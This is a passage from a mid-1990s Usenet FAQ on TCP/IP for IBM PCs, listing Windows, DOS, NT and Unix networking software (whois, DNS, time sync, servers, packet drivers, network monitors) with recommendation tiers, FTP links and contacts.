    ftp://ftp.demon.co.uk/pub/ibmpc/wins...e/wsarch06.zip

    Suggestion
    WinWhois

    This a 16-bit implementations of the Whois protocol. Available via:
    ftp://bitsy.mit.edu/pub/dos/potluck/...k/winwhois.zip

    Suggestion
    WinWhois32

    This a 32-bit implementations of the Whois protocol. Available via:
    ftp://winftp.cica.indiana.edu/pub/pc...ck/whois32.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/whois32.zip

    Suggestion
    X.500 implementation

    A windows sockets compatible X.500 implementation:
    ftp://ftp.sunet.se/pub/x500/windows-dua/pixie22b.zip


    Suggestion
    Windows Directory User Agent

    This is another X.500 client with both 16-bit and 32-bit versions.
    Available via:
    ftp://naic.nasa.gov/software/windows-dua/wduainst.exe


    Suggestion
    SWIX X.500 implementation

    A windows sockets compatible X.500 implementation:
    ftp://ftp.umu.se/pub/pc/swix/swix20.exe


    PRINTING

    Downright Speculation
    WLPRSPL v4.0 Shareware

    This is a windows sockets-compatible lpr implementation that
    offers support for multiple queues. Be aware that LPQ doesn't
    run with LAN Workplace for DOS, since it doesn't fully
    implement Windows Sockets. It also runs with wslpd's new
    "raw spooler," provided that you get lpd up and running
    prior to printing, since it will timeout quickly. Also,
    remember to name the spool files correctly and once you set
    the default spool directory, don't specify a full path in
    defining a spool file.

    Contact: mailto:th.heil@kfa-juelich.de Available as:
    ftp://sunsite.unc.edu/pub/micro/pc-s.../wlprsp40.zip.

    Recommendation
    WinLPR v1.0 Shareware

    This is an implementation of lpr, lpq, and lprm that allows
    you to print to a machine running lpd. It works fine for me.
    Contact: mailto:th.heil@kfa-juelich.de. Available at:
    ftp://sunsite.unc.edu/pub/micro/pc-s...s/winlpr10.zip


    DNS

    Suggestion
    Hlook

    This is a forward and reverse lookup tool that gives you the DNS name
    from an IP address, and the reverse. Available as:
    ftp://petros.psychol.utas.edu.au/pub...oads/iwork.zip

    Suggestion
    WS Host

    This is a forward and reverse lookup tool that gives you the DNS name
    from an IP address, and the reverse. Available as:
    ftp://winftp.cica.indiana.edu/pub/pc...k/wshost11.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/wshost11.zip

    Suggestion
    NSLookup Free

    This is perhaps the best of the Windows NSlookup clients. Available via:
    ftp://winftp.cica.indiana.edu/pub/pc...k/nslookup.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/nslookup.zip

    Suggestion
    Wormhole Free

    Another DNS implementation for Windows. Available via:
    ftp://winftp.cica.indiana.edu/pub/pc...k/wormhole.exe
    ftp://ftp.cdrom.com/.5/cica/winsock/wormhole.exe

    TIME SYNCHRONIZATION

    Downright speculation
    WinTimeSync Free

    A Windows Sockets-compatible implementation of the UNIX time
    service (port 37). Available at:
    ftp://ftphost.cac.washington.edu/pub...k/tsync1_8.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/tsync1_8.zip
    ftp://winftp.cica.indiana.edu/pub/pc...k/tsync1_8.zip

    Downright speculation
    Tardis Free

    A Windows Sockets-compatible implementation of NTP. Available at:
    ftp://ftp.cdrom.com/.5/cica/winsock/tardis.zip
    ftp://winftp.cica.indiana.edu/pub/pc...ock/tardis.zip

    Downright speculation
    WSNTP
    Shareware $25

    A Windows Sockets-compatible implementation of Network Time Protocol.
    Available at:
    ftp://ftp.cdrom.com/.5/cica/winsock/wsntp14f.zip
    ftp://winftp.cica.indiana.edu/pub/pc...k/wsntp14f.zip

    Downright speculation
    Windows Time Client Free

    A Windows Sockets-compatible implementation of NTP, with source
    code. Available at:
    ftp://ftp.cdrom.com/.5/cica/winsock/wstim101.zip
    ftp://winftp.cica.indiana.edu/pub/pc...k/wstim101.zip


    MISCELLANEOUS APPLICATIONS

    Downright Speculation
    WinIRX free

    A Windows Sockets program that makes it easier to search
    or retrieve from the National Center for Biotechnology
    Information (NCBI) Retrieve Email server. Available via:
    ftp://biochemistry.cwru.edu/pub/dos/win-irx.zip,
    ftp://biochemistry.cwru.edu/pub/dos/win-irx.txt.


    *Suggestion
    WSNWDemo

    This includes Finger, Ping, and Echo clients as well as an
    Echo server. Useful for debugging purposes. Available via:
    ftp://winftp.cica.indiana.edu/pub/pc...k/wsnwdemo.zip

    *Suggestion
    HOP

    This is a Windows version of traceroute for Windows NT, which
    I suppose is useful since the built-in NT traceroute is a
    command-line utility. Available via:
    ftp://winftp.cica.indiana.edu/pub/pc/win3/nt/hop.zip

    *Downright Speculation
    Pasock v1.0

    Pasock includes sample Windows Sockets programs for Borland
    Pascal, including a finger client and server. Written by
    Mike Caughran, mailto:71034.2371@CompuServe.com. Available as:
    ftp://oak.oakland.edu/SimTel/win3/winsock/pasock10.zip


    APPLICATIONS DEMOS

    *Suggestion
    Starnet X-Window Server Demo Free

    This is a a demonstration version of the Starnet X-server.
    The pricing is reasonable and the product is fast.
    They have versions that work with Windows Sockets,
    packet drivers under DOS, and some other brands under
    DOS. It is available at:
    ftp://bart.starnet.com/pub/xwin288b.exe
    ftp://bart.starnet.com/pub/xwin288b.txt
    ftp://bart.starnet.com/pub/xwin_man.ps

    ftp://ftp.ipac.net/pub/starnet/pub/xwindemo.zip
    ftp://winftp.cica.indiana.edu/pub/pc...o/xwindemo.zip
    ftp://polecat.law.indiana.edu/pub/mi...o/xwindemo.zip
    ftp://gatekeeper.dec.com/.f/micro/ms...o/xwindemo.zip

    The 32-bit version requires Win32s while running under
    Windows 3.1 and WFW 3.11. It is available as:
    ftp://ftp.ipac.net/pub/starnet/public/xdemo32.zip

    Startnet Communications, mailto:support@starnet.com

    *Suggestion
    ECSmail Commercial

    ECSmail is a commercial product supporting IMAP with DOS,
    Windows and Mac clients. this is a demo version. Available at:
    ftp://info.asu.edu/pub/mail/ecs/ecsm...ows/mua2-3.exe

    ISA Corp.; (403)420-8081, fax: (403)420-8037, mailto:ecs-sales@edm.isac.ca

    Downright Speculation
    Vis-a-Vis
    Demo version free

    This is the demo version of a collaborative work application that
    includes white boards, slides, and video conferencing application.
    Available via: ftp://resudox.net/pub/Vis/vis.zip

    *Downright Speculation
    Internet Global Phone
    Demo version free

    Available via:
    ftp://micros.hensa.ac.uk /mirrors/cica/win3/demo/igp16_102.zip
    ftp://micros.hensa.ac.uk /mirrors/cica/win3/demo/igp8_102.zip


    SHIMS

    Downright speculation
    ODITRPKT v2.0

    Supports packet drivers over ODI and token ring.
    Available as ftp://datacomm.ucc.okstate.edu/pub/oditrpkt/BETA12.ZIP

    Recommendation
    DIS_PKT free

    Provides a packet driver over an NDIS driver. This is useful
    when you need to run both packet driver software (such as
    KA9Q or NCSA Telnet) and NDIS-based software (such as Chameleon NFS).
    The latest version works with WFW v3.11, and includes a help file
    WFW.TXT with sample PROTOCOL.INI files, etc.

    Available via:
    ftp://biochemistry.bioc.cwru.edu/pub...t/dis_pkt9.zip
    ftp://netlab.usu.edu/novell.dir/dis_pkt9.zip

    Recommendation
    NDIS3PKT.386 Free

    For all of us who have been wondering whether packet driver software
    has a future, this little program by Dan Lanciani
    (ddl@harvard.edu), provides the answer - yes!
    This is a VxD that provides DOS-box and Windows support of packet
    driver applications on top of the NDIS v3.0 interface used by WfW 3.11,
    Windows NT, and Windows 95. Previously, it was necessary to run
    NDIS v2.0 in order to use DIS_PKT, which prevented WfW from
    using 32-bit adapter drivers.

    Available at ftp://newdev.harvard.edu/pub/ndis3pkt/README

    Suggestion
    PDEther v1.03

    Supports ODI over packet drivers. Although I haven't had much
    success with it, others have used it on thousands of machines
    and found it better than ODIPKT, especially under Windows.
    Available as:
    ftp://sjf-lwp.novell.com/odi/pdether/getpde103.zip

    Recommendation
    Odipkt v3.0

    Supports packet drivers over ODI. This is the recommended
    method of getting Novell NetWare to coexist with a packet-driver
    based TCP/IP stack. Compatible with WINPKT.

    Available as ftp://newdev.harvard.edu/pub/odipkt/odipkt.com,
    ftp://newdev.harvard.edu/pub/odipkt/net.cfg,
    ftp://newdev.harvard.edu/pub/odipkt/odipkt.8,
    ftp://newdev.harvard.edu/pub/odipkt/odipkt.asm.

    Suggestion
    ODINSUP

    This is an NDIS over ODI shim from Novell. This allows you to run
    software requiring ODI drivers, as well as software requiring NDIS
    drivers. Since IPX and TCP/IP are different protocols, you will not
    need to run PKTMUX.

    This was available via:
    ftp://ftp.novell.com/netwire/novfile...les/WSDOS1.EXE

    But it has apparently vanished. Anyone know where it has gone?


    TCP/IP AND NETWARE

    Downright speculation
    BYU Netware shell drivers free

    Allows you to build an IPX.COM that runs over packet drivers.
    Works by providing .obj and .lan files for the Neware shell
    generation program, shgen.exe. Running shgen.exe produces netX.com
    as well as an ipx.com for your interface card. Again, I've had
    better results with ODIPKT than with this.

    Available at:
    ftp://vax.ftp.com/pub/packet.driver/pubdom/byu

    Downright speculation
    Intel PDIPX free

    Another way of building an IPX.COM that runs over packet drivers.

    Available at:
    ftp://ftp sun.soe.clarkson.edu/pub/packet-drivers/intel/pdipx.zip

    Suggestion
    PDEther v1.03

    An ODI over packet driver shim. See entry under Drivers and Shims.

    Recommendation
    Odipkt v3.0

    A packet driver over ODI shim. See entry under Drivers and Shims.

    DOS TCP/IP STACKS

    Suggestion
    WATTCP free

    Mike Durkin, Quentin Smart and Murf have updated Erick Engelke's
    WATTCP, the development package for TCP/IP. Available via:
    ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/apps.zip (binaries),
    ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/README,
    ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/wattcp.zip (source code)
    ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/gophserv.zip (example app)
    ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/smtpserv.zip (example app)

    Erick Engelke, WATTCP Architect; mailto:erick@uwaterloo.ca

    Suggestion
    Trumpet TCP/IP stack

    This TCP/IP stack comes in three versions: a TSR version; a
    Windows Sockets version (discussed below); and a built-in
    version. It includes a traceroute program called hopchk2.

    Available as ftp://ftp.utas.edu.au/pc/trumpet/abi-version/
    Available at ftp://biochemistry.bioc.cwru.edu/pub/trumpet/tcp201.zip

    P. Tattam, Programmer; Psychology Department, University of
    Tasmania, Hobart, Tasmania, Australia, 61-02-202346;
    mailto:peter@psychnet.psychol.utas.edu.au

    Downright Speculation
    PC-IP Free

    This was the software that started it all. It has been worked
    on at MIT, Carnegie Mellon, and Harvard and other places, but
    by now is out of date. Its authors recommend looking at newer
    alternatives such as NCSA, WATTCP, etc.

    Harvard version: Source code:
    ftp://ftp newdev.harvard.edu,/pub/pcip/pcip.tar.Z,
    ftp://ftp newdev.harvard.edu,/pub/pcip/doc.tar.Z,
    ftp://ftp newdev.harvard.edu,/pub/pcip/readme,
    ftp://ftp newdev.harvard.edu,/pub/pcip/readme.cmu
    Binaries: ftp://newdev.harvard.edu/pub/pcip/bin/packet/
    ftp://newdev.harvard.edu/pub/pcip/bin/general/

    Another version:
    ftp://netlab.usu.edu/netwatch/pcip96.zip

    DOS WITHIN WINDOWS

    Recommendation
    WINPKT free

    WINPKT is needed for running DOS applications with
    built-in TCP/IP stacks under Windows, as well as for
    some Windows-based TCP/IP stacks (suck as Trumpet
    Winsock). Compatible with ODIPKT.
    Available at ftp://biochemistry.bioc.cwru.edu/pub...dos/winpkt.com

    Downright speculation
    PKTINT

    PKTINT is included with the non-Winsock-compatible version
    of WinQVT/Net to communicate with the real mode packet driver.
    Available at ftp://biochemistry.micro.umn.edu/pub...t/qvtne397.zip

    Recommendation
    PKTMUX v1.2 Free

    This program allows multiple TCP/IP protocol stacks to
    use a single packet driver. It can also run over shims
    such as DIS_PKT; I have used it with four or more
    simultaneous DOS-based applications. Works great. However,
    if you are only using a single DOS TCP/IP application
    under Windows, use WINPKT instead, since it takes less
    memory and is faster.

    Available via ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/pktmux12.exe,
    or ftp://biochemistry.bioc.cwru.edu/pub/dos/pktmux12.exe,
    ftp://biochemistry.bioc.cwru.edu/pub/dos/pktmux12.txt



    WINDOWS SERVERS

    *Recommendation
    Fingerd
    Shareware $10

    A Windows Sockets compatible finger server:
    ftp://sparky.umd.edu/pub/winsock/wfngrd12.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/wfngrd12.zip

    *Suggestion
    WinSMTP

    WinSMTP is a shareware SMTP and POP3 daemon for Windows Sockets v1.1,
    writen by Jack De Winter (jackdw@metrics.com). WinSMTP
    can be configured for full Internet access as well as for use with a firewall;
    it supports MX record resolution as well as use with a mail relay machine.

    Available via:
    ftp://ftp.metrics.com/smtp/ssmtp104.zip
    http://www.metrics.com/smtp/index.html

    Downright Speculation
    Web4Ham Free

    A Windows Sockets compatible HTTP server, by Gunter Hille,
    mailto:hille@informatik.uni-hamburg.de. Available as:
    ftp://ftp.cdrom.com/.5/cica/winsock/web4ham.zip
    ftp://ftp.informatik.uni-hamburg.de/...ck/web4ham.zip

    Downright Speculation
    Hamburg Gopher Server

    Available at:
    ftp://ftp.informatik.uni-hamburg.de/...ham/go4ham.zip
    ftp://ftp.informatik.uni-hamburg.de/...ham/go4ham.doc

    Recommendation
    SerWeb v0.3 Free

    A fully functional HTTPd implementation for Windows.
    For info, mailto:estrella@cass.ma02.bull.com. Available as:
    ftp://sunsite.unc.edu/pub/micro/pc-s...s/serweb03.zip

    *Suggestion
    NCSA HTTPd for Windows Free

    This is a fully compliant HTTTP server from NCSA that supports
    scripts, and is now maintained by Robert Denny, mailto:rdenny@netcom.com.
    For information, try: http://www.alisa.com/win-httpd/

    This home page contains news, latest releases, and FTP links to the
    server package. The FTP server location is:
    ftp://ftp.alisa.com/pub/win-httpd/


    Downright speculation
    Cookie server Free

    This is a Windows-Sockets compatible fortune cookie server
    (RFC 865) that runs on port 17. Available at:
    ftp://winftp.cica.indiana.edu/pub/pc.../cooksock.zip.
    ftp://ftp.cdrom.com/.5/cica/winsock/cooksock.zip

    Contact: mailto:alun@huey.wst.com

    Suggestion
    Windows Sockets for PC/NFS free

    An implementation of Windows Sockets for PC/NFS.

    Available at:
    ftp://winftp.cica.indiana.edu/pub/pc...k/wsck-nfs.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/wsck-nfs.zip

    *Suggestion
    WFTPD $15 (shareware)

    An FTP daemon for Windows by Alun Jones (mailto:alun@fc.net)
    that supports multiple logins, simultaneous transfers, runs
    over most Winsocks, and is RFC 959 and 1123 compliant. WFTPD
    also allows the site to be read only; allows configurable
    time-outs; can log to a file.

    Available at:
    ftp://winftp.cica.indiana.edu/pub/pc...k/wftpd196.zip
    ftp://oak.oakland.edu/SimTel/win3/winsock/wftpd196.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/wftpd19c.zip

    Downright Speculation
    WinLPD Free

    An lpd implementation for Windows. mailto:dog@inel.gov

    Available at:
    ftp://ftp.cdrom.com/.5/cica/winsock/wslpd.zip

    Downright speculation
    Text server

    This is an extended finger client, which can also serve text
    files. Available at
    ftp://winftp.cica.indiana.edu/pub/pc...ock/txtsrv.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/txtsrv.zip

    Recommendation
    SMTP daemon v1.6 free

    A Windows-Sockets SMTP daemon, complete with source code.
    Works fine. Available at:
    ftp://winftp.cica.indiana.edu/pub/pc...k/wsmtpd16.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/wsmtpd16.zip

    mailto:iblenke@cip60.corp.harris.com

    WINDOWS NT SERVERS

    Recommendation
    Windows NT FTP daemon Free

    This is a Windows NT version of ftpd. Quite fast.
    Available at:
    ftp://sunsite.unc.edu/pub/micro/pc-s...ps/nt-ftpd.zip

    Recommendation
    HTTPS v0.9 Free

    This is a very powerful and easy to install HTTP server,
    probably the best I've seen running under any OS.
    HTTPS is a Windows NT HTTP v1.0 server for Windows NT
    produced as part of the European Microsoft Windows NT
    Academic Centre (EMWAC). Binaries are available for
    Intel and DEC Alpha architectures. HTTPS is
    multi-threaded, understands HEAD and GET methods,
    supports Forms and CGI-BIN scripts, and runs as a Windows
    NT service.

    HTTPS (For HTTP Service) can be configured via the control
    panel, is integrated with the WAISS server, and logs HTTP
    transactions in the event logger. Available at:
    ftp://emwac.ed.ac.uk/pub/https/HSI386.ZIP (Intel version),
    ftp://emwac.ed.ac.uk/pub/https/HSALPHA.ZIP (DEC Alpha version),
    ftp://emwac.ed.ac.uk/pub/https/HHTPS.TXT
    (description of the server)

    Recommendation
    GOPHERS v0.6 Free

    This is a Windows NT Gopher server for Windows NT
    produced as part of the European Microsoft Windows
    NT Academic Centre (EMWAC). Binaries are available
    for Intel and DEC Alpha architectures. This gopher
    server is multi-threaded, and runs as a Windows NT
    service. It can be configured via the control panel.
    Available at:
    ftp://emwac.ed.ac.uk/pub/gophers/GSI386.ZIP (Intel version),
    ftp://emwac.ed.ac.uk/pub/gophers/GSALPHA.ZIP (DEC Alpha version),
    ftp://emwac.ed.ac.uk/pub/gophers/MESSAGE.TXT
    (description of the server)

    Recommendation
    WAISS v0.8 Free

    This is a Windows NT WAIS server for Windows NT produced as
    part of the European Microsoft Windows NT Academic Centre
    (EMWAC). It inclues an indexing tool, WAISINDX that lets you
    index documents in a number of formats. This is the easiest
    to set up WAIS server I've seen, and it is well integrated
    with the Gopher and HTTP servers.

    Binaries are available for Intel and DEC Alpha
    architectures. This WAIS server is multi-threaded, and
    runs as a Windows NT service. It can be configured via
    the control panel. Available at:
    ftp://emwac.ed.ac.uk/pub/waistool
    ftp://emwac.ed.ac.uk/pub/waiss

    Downright speculation
    NT-Perl Free

    This is a Windows NT implementation of Perl v4.036, ported by Intergraph.

    Available at:
    ftp://emwac.ed.ac.uk/pub/ntperl.zip
    ftp://winftp.cica.indiana.edu/pub/pc...nt/ntperlb.zip

    Downright speculation
    SOSSNT Free

    This is a Winsock-compatible NFS server for NT v3.1. It is
    derived from SOSS originally written for PC-IP. Available
    at:
    ftp://winftp.cica.indiana.edu/pub/pc.../sossntr3.zip.

    Downright speculation
    UUPC for NT Free

    This is a version of UUCP running over either serial port
    or TCP/IP, under Windows NT. Available via:
    ftp://winftp.cica.indiana.edu/pub/pc...t/upc12bn1.zip
    ftp://winftp.cica.indiana.edu/pub/pc...t/upc12bn2.zip
    ftp://winftp.cica.indiana.edu/pub/pc...t/upc12bn3.zip
    ftp://ftp.clarkson.edu/pub/uupc

    Downright speculation
    SMTP Gateway for NT Free

    I have not a clue as to what this does, other than that its name
    suggests some kind of SMTP gateway, and that it runs under Windows NT.
    If you know what this does, please inform me. Available via:
    ftp://winftp.cica.indiana.edu/pub/pc...t/smtpgate.zip

    Downright speculation
    NNS Free

    This is an NNTP server for Windows NT by Jeff Coffler,
    mailto:coffler@jeck.seattle.wa.us.
    Available via:
    ftp://ftp.wa.com/pub/local/ntnews/nns.zip

    This program includes an NT version of TIN, and requires a
    32-bit version of unzip that is available at the same FTP site.


    UNIX SERVERS

    Recommendation
    Samba v1.8 Free

    Samba includes a UNIX-based SMB file and print server,
    as well as a UNIX SMB client and a NetBIOS nameserver (NBNS).
    It can be used with clients such as Windows for Workgroups,
    Windows NT, OS/2, Pathworks, and LanManager for DOS. This
    means that it can attach to Windows NT and WFW servers or
    mount portions of the UNIX file system on these machines.
    You can also print from UNIX to an SMB printer by adding
    an entry in /etc/printcap. It supports username/password
    security, umask support, guest connections and system
    attribute mapping. Samba is being run under Linux,
    SunOS, Solaris, SVR4, Ultrix, OSF1, AIX, BSDI, NetBSD,
    Sequent, HP-UX, SGI, FreeBSD, and NeXT.

    I just installed this on my UNIX machine, and I am ecstatic.
    I haven't gotten the print server to work yet (hints anyone?),
    but I am sharing files between the UNIX machine and others
    running WFW and NT. Compared with publicly distributable NFS
    implementations, this SMB-based solution integrates well with
    Windows, is easier to secure (transfers occur over TCP, not UDP)
    leaves the PCs with quite a bit more low memory (570K vs.
    470K for NFS), is more stable, and faster than most NFS
    implementations to boot. What more could you ask for?

    Not only does Samba implement B-node technology, but it also
    appears to support P and M node technology via a UNIX implementation
    of the NetBIOS Name Server (NBNS), which runs as a daemon called
    nmbd. The SMB server, smbd, can either be called up by inetd
    or run as a daemon.

    Other nice features include proper locking as required by OLE2 apps. This
    is not yet handled by any NFS implementations. Only major deficit is
    that browsing is not yet supported.

    Available at:
    ftp://nimbus.anu.edu.au/pub/tridge/s...-latest.tar.gz

    PUTTING BBSes ON THE INTERNET

    Suggestion
    Major TCP/IP

    This is an add-on for the multiline MajorBBS that adds incoming/outgoing
    Telnet/RLogin and a native FTP client. This does not require use of a
    Novell server, or in fact, any "nanny" server.

    The TCP/IP stack used in the product can support up to 255 concurrent TCP
    sessions and has been tested with over 150 active connections at the same time.

    MajorTCP/IP has been shipping since April 1st, and the FTP Client will be
    shipping by the One BBSCON '94.

    Digital Consulting Services; (212)697-7340, (800)899-2002,
    mailto:Nyvideo@gcomm.com

    WAN CONNECTIVITY

    Suggestion
    Niwot synchronous board $695

    This Niwot synchronous adapter comes with a packet driver
    that works with PCROUTE or KA9Q, and can handle speeds up to T1.

    Niwot Networks, (303)444-7765

    Suggestion
    RISCom N1 single port card $495
    N2 dual port card

    This board is supported by BSD/386, and supports HDLC at
    56 Kbps for connection to Cisco routers running PPP.

    SDL Communications, Inc.; (508)238-4490

    Suggestion
    Livingston Portmaster IRX-114 terminal servers

    Livingston Enterprises; (800)458-9966, fax: (510)426-8951,
    mailto:doug@livingston.com

    Suggestion
    Morning Star Routers

    Morning Star Technologies, Inc; (614)451-1883, (800)558-7827,
    fax: (614)459-5054, mailto:marketing@morningstar.com,
    mailto:support@morningstar.com, ftp archive: ftp://ftp.morningstar.com/,
    WWW server: http://www.morningstar.com/

    Suggestion
    Tylink ONS-150 CSU/DSU

    This is a reasonably priced T1 CSU/DSU.

    Capella Networking; (415)591-3400, (408)225-2655, mailto:dstolz@capella.com

    TROUBLESHOOTING

    Downright Speculation
    Windows Ping free

    Available at:
    ftp://ftp.usma.edu/pub/msdos/winsock.files/ws_ping.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/ws_ping.zip

    John Junod; mailto:zj8549@trotter.usma.edu; mailto:junodj@gordon-emh2.army.mil
    NCOIC, Technology Integration Branch, Computer Science School,
    FT Gordon, GA 30905; (706)791-3245 AV:780-3245

    *Recommendation
    WS_Watch free

    A nifty little utility that lets you draw a network and then shows you
    see when nodes go up and down. Can do ping, traceroute, telnet, nslookup
    and more. Available at: ftp://ftp.usma.edu/pub/msdos/ and
    ftp://ftp.cdrom.com/.5/winsock/wswatch.zip

    *Downright Speculation
    Syslogd free

    A port of syslog to Windows. Useful for keeping track of error messages
    generated by routers, bridges, applications, etc. Available as:
    ftp://ftp.cdrom.com/.5/winsock/syslogd.zip


    Downright Speculation
    DOS Ping free

    Available at:
    ftp://ftp.usma.edu/pub/msdos/misc/ping.exe

    Downright Speculation
    Traceroute free

    A version of traceroute for DOS, available at:
    ftp://biochemistry.bioc.cwru.edu/pub/trumpet/tcp201.zip

    There are also versions of ping and traceroute included with Trumpet Winsock.

    Downright Speculation
    SNMP monitor Free

    An SNMP monitor for Sun, available at:
    ftp://sun.soe.clarkson.edu/pub/packe...s/snmpsrc.zip.
    Also available at ftp://enh.nist.gov/misc/snmpsrc.zip,
    ftp://enh.nist.gov/misc/snmpsup.zip,
    ftp://enh.nist.gov/misc/snmpsun.tar_Z

    Suggestion
    Fergie and Gobbler Free

    Fergie is a packet monitoring and grabbing tool that supports SNMP
    and supersedes Netmon, Spectre and Beholder. Tricklet is a set of SNMP
    utilities.

    The last release of Fergie and Gobbler occurred on August 25, 1993.
    The DNPAP research group has now moved on to more current topics
    (SNMP/RMON etc.), and is no longer able to fully support this software.

    Fergie and Gobbler are available at
    ftp://dnpap.et.tudelft.nl/pub/Fergie/frgbin2.zip.
    The source code for Borland C is available at
    ftp://dnpap.et.tudelft.nl/pub/Fergie/frgsrc2.zip.

    To get on the Fergie mailing list, mailto:request@dnpap.et.tudelft.nl

    *Suggestion
    Beholder - The Next Generation (BTNG) Free

    BTNG is an RMON compatible Ethernet monitor for OS/2,
    SunOS and Ultrix. Tricklet is a set of SNMP utilities for
    OS/2 and UNIX. To run these tools under OS/2, you will need
    an Ethernet card with an NDIS driver for OS/2. Available at:
    ftp://dnpap.et.tudelft.nl/pub/btng/README (Readme file)
    ftp://dnpap.et.tudelft.nl/pub/btng/btng51exe.zip (OS/2 binaries)
    ftp://dnpap.et.tudelft.nl/pub/btng/btng51src.zip (OS/2 source)
    ftp://dnpap.et.tudelft.nl/pub/btng/btng-5.1.tar.gz (SunOS)
    ftp://dnpap.et.tudelft.nl/pub/btng/BTNG.FAQ (Frequently Asked Questions)
    ftp://dnpap.et.tudelft.nl/pub/btng/tricklet-6.0a.zip (OS/2 binaries)
    ftp://dnpap.et.tudelft.nl/pub/btng/tricklet-5.1.tar.gz (SunOS)

    Suggestion
    NetProbe Free

    An unsupported utility from 3Com that can decode XNS,
    TCP/IP, ICMP, AppleTalk, IPX/SPX, SMB, and other protocols,
    but only supports the Etherlink, Etherlink II, EtherLink
    Plus and Token Plus adapters. Available on CompuServe in
    the 3Com forum as EPROBE.ZIP in lib 5, unsupported utilities.

    Downright Speculation
    Netwatch Free

    Essential network debugging tools for the PC. Available at
    ftp://netlab.usu.edu/netwatch.dir/netwatch.exe.

    Recommendation
    Ethload v1.04 Free

    This is an Ethernet load monitor and packet analyzer
    that gives all kinds of useful statistics on your network,
    including breakdowns by protocol (supports IP, NetWare, OSI,
    DECNet, NetBEUI), source or destination, ports, etc. Very useful.

    Available at ftp://oak.oakland.edu/pub/msdos/lan/ethld104.zip.
    Also available at ftp://wsmr-simtel20.army.mil/&lt;msdos.lan&gt;/ethld104.zip.


    Recommendation
    EtherDump v1.04 Free

    This is a tracing program, similar to TCPDump. However, the output
    isn't quite as sophisticated or easy to read, although it certainly
    is voluminous.

    Available at:
    ftp://oak.oakland.edu/pub/msdos/lan/ethdp104.zip
    ftp://wsmr-simtel20.army.mil/&lt;msdos.lan&gt;/ethdp104.zip
    ftp://ftp.cdrom.com/.2/SimTel/msdos/lan/ethdp104.zip

    Downright speculation
    NetAddress v1.1 Free

    This program collects Ethernet addresses and various statistics,
    including protocols used, IP and IPX address, AppleTalk name,
    etc.

    Available at:
    ftp://oak.oakland.edu/pub/msdos/lan/net-ad11.zip
    ftp://ftp.cdrom.com/.2/SimTel/msdos/lan/net-ad11.zip

    SNMP

    Suggestion
    SNMPMAN

    SNMPMAN is an SNMP-based network monitoring
    package written by Abner Correia, Jorge Pires,
    and Tiago Silva (snmpman@di.fc.ul.pt).

    Information on SNMPMAN is available
    via http://www.fc.ul.pt/software/snmpman.html.

    Available at:
    ftp://ftp.fc.ul.pt/pub/networking/snmp/snmpman.zip

    SNMPMAN, Faculdade de Ciencias da Universidade de
    Lisboa (Departamento de Informatica), Campo Grande-Bloco
    C5, 1700 LISBOA, Portugal; voice: +351 1 7510003,
    fax: +351 1 7577831.

    Recommendation
    NetGuardian v1.1

    NetGuardian is an SNMP-based network monitoring
    package written by Paulo Sergio Mena,
    Ricardo Machado de Oliveira and Rui Santos Antonio,
    (netguard@di.fc.ul.pt). It requires Ling Thio
    and Dirk Wisse's WINSNMP.DLL.

    Information on NetGuardian is available
    via http://www.fc.ul.pt/software/netguard.html.

    Available at:
    ftp://ftp.fc.ul.pt/pub/networking/snmp/netguard.zip

    NetGuardian, Faculdade de Ciencias da Universidade de
    Lisboa (Departamento de Informatica), Campo Grande-Bloco
    C5, 1700 LISBOA, Portugal; voice: +351 1 7510003,
    fax: +351 1 7577831.

    UNCLASSIFIABLE (BUT INTERESTING) STUFF

    Downright speculation
    GIGO Free

    This has nothing to do with TCP/IP, but rather is a UUCP
    packet to FidoNet .PKT translator. For info,
    mailto:gigo-r@wmeonlin.sacbbx.com. Available at
    ftp://ftp.netcom.com/pub/jfesler/gigo.zip

    Downright speculation
    X-Ray/Winsock API Trace/Debugger $169

    X-Ray/Winsock is a debugger for the Windows Sockets API, which shows the
    interaction between a Windows application and theWinsock API in realtime.
    X-Ray displays Winsock API functions both before and after the call with
    parameters, constants and flags displayed according to their "C" header
    file equivalents. All "send" and "recv" data can be displayed in Hex and/or
    ASCII. All pointers are checked for validity. X-Ray has a
    selectable circular or fixed trace buffer with 2000 event capacity.

    Applications that are X-Rayed do not need debug information such as Codeview or
    modifications to the application. X-Ray can be used at the customer site,
    using production versions of applications.

    X-Ray has a unique floating "Details" window that displays individual trace
    records. VCR style controls are used to selectively view any records currently
    in the trace buffer. The trace buffer can be searched for a parameter value,
    error code, or other information. Context-sensitive help is available for
    all Winsock API functions.

    X-Ray can trace Winsock functions occurring in multiple applications simul-
    taneously. Individual applications can be selected for tracing. X-Ray has
    multiple logging options, including DBWin and file.

    Available via:
    ftp://ftp.netcom.com/pub/sstinc/xraywi12.zip
    ftp://winftp.cica.windows.edu/pub/wi...k/xraywi12.zip
    ftp://ftp.cdrom.com/.5/cica/winsock/xraywi12.zip

    Chuck Eaton, S.S.T.Incorporated; (818)346-2784, fax: (818)346-7070;
    mailto:70233.2504@compuserve.com, mailto:sstinc@netcom.com


    ------------------------------ END OF PART 3 ------------------------

    Please send comments to:

    Bernard Aboba
    Author of:
    The Online User's Encyclopedia, Addison-Wesley, 1994
    The PC-Internet Connection, Publisher's Group West, due in 1995
    mailto:aboba@netcom.com
    FTP archive: ftp://ftp.zilker.net/pub/mailcom/
    WWW page: http://www.zilker.net/users/internaut/index.html



    From: aboba@netcom.com (Bernard Aboba)
    Subject: comp.protocols.tcp-ip.ibmpc Frequently Asked Questions (FAQ), part 4 of 5
    Expires: Fri, 12 May 1995 00:00:00 GMT
    Followup-To: poster
    Keywords: TCP/IP, IBM PC, SLIP, PPP, NDIS, ODI
    Organization: MailCom
    Reply-To: aboba@netcom.com
